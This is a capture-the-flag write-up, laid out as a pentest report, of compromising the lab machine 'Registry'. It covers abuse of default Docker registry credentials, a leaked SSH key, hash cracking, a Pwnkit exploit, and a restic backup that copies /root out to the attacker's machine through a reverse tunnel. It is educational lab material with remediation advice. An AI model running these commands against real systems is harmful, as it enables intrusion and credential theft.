Registry CTF Writeup

/ Writeups / By

Registry CTF Writeup

The challenge calls for the exploitation of various security weaknesses, including the use of default credentials, exposure of sensitive information through docker images, and cracking of database passwords to gain unauthorized access. Additionally, it tests our ability to perform both horizontal and vertical privilege escalations by exploiting system misconfigurations and known software vulnerabilities. This scenario not only demands a deep understanding of penetration testing techniques and security analysis but also requires us to demonstrate our adeptness in web server enumeration, docker registry manipulation, and CMS vulnerability exploitation, ultimately leading to root access acquisition.

Registry CTF banner

Executive Summary

Overview

This pentest report outlines the findings from a comprehensive penetration testing exercise conducted on the Registry CTF platform, specifically targeting the machine at 10.10.10.159. The assessment covered various aspects of the system's security, including service scanning, web server enumeration, and a series of vulnerability exploitations to gain unauthorized access and escalate privileges.

Key Findings

  • Weak Credentials (BS01): The Docker Registry API hosted at docker.registry.htb was found to be accessible using default credentials (admin:admin), posing a significant security risk due to unauthorized access to the docker registry repository. This finding is of elevated severity.

  • Sensitive Information Exposure (BS02): A critical vulnerability was identified allowing remote attackers to access sensitive files within the "bolt-image" docker image, including SSH private keys and their decryption passwords. This issue is rated as high severity due to the potential for sensitive information exposure.

  • Exposed Bolt CMS Credentials (BS03): The admin's bcrypt password hash was retrieved and cracked from the boltcms database, indicating a weak password policy. This vulnerability, rated as elevated severity, could allow attackers to gain control over the Bolt CMS.

  • Horizontal Privilege Escalation (BS04): By exploiting the cracked admin password for Bolt CMS, attackers can upload a PHP shell to gain access as user "git". This vulnerability is also rated as elevated severity.

  • Vertical Privilege Escalation - Pwnkit (BS05): An extreme severity vulnerability was discovered due to the presence of an outdated and vulnerable version of pkexec, allowing attackers to gain administrative rights on the target machine through CVE-2021-4034.

  • Vertical Privilege Escalation - Restic (BS06): Another extreme severity issue was found where the www-data user had sudo rights over the binary restic, enabling attackers to read sensitive information, such as root's SSH keys.

Recommendations

  • Immediate Update of Default Credentials: Change all default credentials to complex, unique passwords to prevent unauthorized access.
  • Patch and Update Systems: Regularly update all system components to their latest versions to fix known vulnerabilities, especially for critical issues like Pwnkit and Restic.
  • Implement Strong Password Policies: Enforce strong password policies for all users, including the use of password managers, to prevent easy password cracking.
  • Regular Security Audits and Vulnerability Assessments: Conduct regular security assessments to identify and mitigate potential vulnerabilities before they can be exploited by attackers.

Summary

The penetration test on the Registry CTF revealed several significant security vulnerabilities that could potentially compromise the integrity, confidentiality, and availability of the system. It is imperative that the recommended actions are implemented promptly to safeguard against unauthorized access and data breaches. Continuous monitoring and regular security assessments are crucial to maintaining a robust security posture.

Initial Target - 10.10.10.159

Virtual Host: registry.htb docker.registry.htb

Service Scanning

IP AddressPorts Open
10.10.10.159TCP: 22 (OpenSSH 7.6p1) 80 (nginx 1.14.0) 443 (nginx 1.14.0)

Identified services on IP address 10.10.10.159 include OpenSSH 7.6p1 on port 22, nginx 1.14.0 on ports 80 and 443, indicating a standard web server setup. The presence of these services suggests potential avenues for further investigation, particularly through the web server.

Web Server Enumeration

The root web server only displays the default nginx page on both port 80 and 443. A self-signed SSL certificate on port 443 reveals a subdomain docker.registry.htb, hinting at the existence of a Docker Registry API hosted within the network, providing a specific target for deeper exploration.

Registry main webpage
Fig. 01: Root web server
SSL certificate for Registry CTF
Fig. 02: SSL certificate

BS01: Weak Credentials

Explanation: The Docker Registry API endpoint at docker.registry.htb was protected by basic authentication, but was using default credentials (admin:admin), creating an opportunity for unauthorized access. This vulnerability signifies a critical oversight in secure configuration practices, allowing potential attackers to interact with the docker registry repository.

Severity: Elevated

Recommendation: Implement stronger authentication measures by changing the default credentials to a complex, unique password. Additionally, consider integrating two-factor authentication (2FA) to add an extra layer of security.

Steps to Reproduce:

  1. In the following command, we're listing all the available repositories by querying the _catalog endpoint, but there are plenty of docker registry API endpoints: curl -k https://docker.registry.htb/v2/_catalog -H "Authorization: Basic YWRtaW46YWRtaW4="
Docker registry catalog for Registry CTF
Fig. 03: Docker registry catalog

BS02: Sensitive Information Exposure

Explanation: Through exploitation of the weak credentials in BS01, sensitive internal files of the "bolt-image" docker image were accessible, including SSH private keys and their passwords. This exposure could allow attackers to perform further malicious activities with potentially wide-reaching impact on confidentiality and system integrity.

Severity: High

Recommendation: Immediately revoke and regenerate all exposed SSH keys and passwords. Establish stricter access controls and regularly scan docker images for sensitive information before deployment. Additionally, implement a secure secret management solution to protect credentials and keys.

Steps to Reproduce:

  1. First, we need to get the manifest: curl -k https://docker.registry.htb/v2/bolt-image/manifests/latest -H "Authorization: Basic YWRtaW46YWRtaW4=" > bolt-image.manifest

  2. I created a python script to automate the download process for all the blobs, you can save it locally to script.py.

import json, requests, urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

with open('bolt-image.manifest') as f:
    manifest = json.load(f)

layers = manifest['fsLayers']

blobs = [x['blobSum'] for x in layers]

BASE_URL = 'https://docker.registry.htb/v2'
HEADERS = {
    "Authorization": "Basic YWRtaW46YWRtaW4="
}

for index, blob in enumerate(blobs):
    r = requests.get(f"{BASE_URL}/bolt-image/blobs/{blob}", headers=HEADERS, verify=False)

    filename = f'blob-{index}.tar'
    with open(filename, 'wb') as f:
        f.write(r.content)

    print(f'Wrote tarball content for {filename}')

  1. Run the script: python3 script.pyand wait until all the 9 blobs are downloaded

  2. Extract the fourth blob: tar -xf blob-4.tar

  3. Explore the newly created directories. The password we need to use in order to decrypt the ./root/.ssh/id_rsa private key is located at ./etc/profile.d/02-ssh.sh, which is: GkOcz221Ftb3ugog

  4. To create a decrypted version of the ssh key: openssl rsa -in id_rsa -passin "pass:GkOcz221Ftb3ugog" > id_rsa.decrypted

What is a blob from docker
Fig. 04: Information regarding digests
Registry CTF bolt image manifest
Fig. 05: bolt image manifest
Registry CTF, screenshot illustrating downloaded blobs from docker registry
Fig. 06: All downloaded blobs
Leaked password for SSH key
Fig. 07: Leaked password for SSH key

Initial Access & Post-Exploitation

Fig. 08: Initial access via SSH as user 'bolt'.

BS03: Exposed Bolt CMS Credentials

Explanation: By gaining access to the boltcms database, the admin's bcrypt password hash was retrieved and cracked, revealing a weak password policy. This vulnerability allowed unauthorized administrative access to Bolt CMS, highlighting the importance of robust password policies and secure database management.

Severity: Elevated

Recommendation: Strengthen password policies to include minimum complexity requirements and periodic password changes. Use bcrypt with higher cost factors to increase hash cracking difficulty. Regularly audit database access and encrypt sensitive data at rest.

Steps to Reproduce:

  1. Download the Bolt CMS database to your local system: scp -i id_rsa.decrypted [email protected]:/var/www/html/bolt/app/database/bolt.db ./bolt.db

  2. Use sqlite3 to intract with the database: sqlite3 bolt.db

  3. Execute the command select * from bolt_users; and copy the password hash for the admin user: $2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK

  4. Save the hash to a file (hash.txt) and use hashcat to crack it: hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

  5. The cracked password (strawberry) should appear after some processing.

Interacting with bolt CMS database
Fig. 09: Interacting with bolt CMS database
Cracked bolt CMS's admin user password hash
Fig. 10: Cracked bolt CMS's admin user password hash

BS04: Horizontal Privilege Escalation

Explanation: Utilizing the cracked admin password for Bolt CMS, it was possible to upload a PHP shell and gain access as user "www-data". This vulnerability underscores the critical need for secure web application configurations and the principle of least privilege.

Severity: Elevated

Recommendation: Conduct a thorough security review and hardening of the CMS configuration. Disable or restrict file upload functionality to trusted administrators only and ensure uploaded files are properly sanitized and validated. Implement application-level firewalls and intrusion detection systems to monitor for suspicious activities.

Steps to Reproduce:

  1. Run the PoC created by BehindSecurity to obtain RCE as www-data.
Webshell as www-data
Fig. 11: Webshell as www-data

BS05: Vertical Privilege Escalation - Pwnkit

Explanation: An outdated and vulnerable version of pkexec enabled the exploitation of CVE-2021-4034, allowing unprivileged users to gain administrative rights. This critical vulnerability exposes the system to significant risk, emphasizing the need for regular software updates and vulnerability management.

Severity: Extreme

Recommendation: Immediately apply the latest patches and updates for all system software, particularly focusing on known vulnerabilities like CVE-2021-4034. Establish a continuous monitoring and patch management program to ensure systems are protected against new vulnerabilities as they are discovered.

Steps to Reproduce:

  1. Download this public PoC for CVE-2021-4034: git clone https://github.com/berdav/CVE-2021-4034.git

  2. Zip it: zip -r cve.zip CVE-2021-4034/

  3. Transfer the zip file to the target machine: scp -i id_rsa.decrypted cve.zip [email protected]:/dev/shm/cve.zip

  4. In the target machine, as bolt: cd /dev/shm && unzip cve.zip

  5. Enter the folder and make the exploit: cd CVE-2021-4034 && make

  6. Execute the exploit to obtain root access to the machine: ./cve-2021-4034

Registry CTF root privilege escalation
Fig. 12: Vertical privilege escalation

BS06: Vertical Privilege Escalation - Restic

Explanation: The www-data user had sudo rights over the binary restic, permitting a malicious actor to access and potentially modify sensitive information, such as root's SSH keys. This vulnerability highlights critical flaws in permission assignments and the enforcement of the principle of least privilege.

Severity: Extreme

Recommendation: Review and revise sudoers configuration to enforce the principle of least privilege, ensuring that only necessary permissions are granted to each user or service account. Regularly audit system configurations and access rights to prevent elevation of privilege opportunities.

Steps to Reproduce:

  1. Clone the restic rest server: git clone https://github.com/restic/rest-server.git

  2. Install it: cd rest-server/ && make install

  3. Run the rest server on your attacking machine: rest-server --no-auth --listen 0.0.0.0:4433

  4. There are rules that disallow outgoing connection from the machine, so we need to tunnel the connection via SSH: ssh -i id_rsa.decrypted [email protected] -R:4433:localhost:4433

  5. Initialize a restic repo: restic init -r rest:http://127.0.0.1:4433/bsec

  6. Create a backup for the /root folder: sudo restic backup -r rest:http://127.0.0.1:4433/bsec /root

  7. In your attacking machine, get the contents of root's id_rsa: restic -r /tmp/restic/bsec/ dump latest /root/.ssh/id_rsa

  8. Now, you just have to create the id_rsa and log in as root using ssh: ssh -i id_rsa [email protected]

Conclusion

We hope you have found our content useful and invite you to explore more of our website to discover other interesting topics we cover. From cybersecurity to programming, we strive to provide our readers with the latest and most relevant information that can help them stay informed and ahead of the curve. We are committed to providing the best user experience to you and are open to feedback and suggestions through our contact form. Thank you for choosing Behind Security, we hope to see you again soon! 

Behind Security main logo, cropped.

BEHIND SECURITY

Behind Security is an online platform dedicated to providing informative articles on cybersecurity, privacy, and programming.

Scroll to Top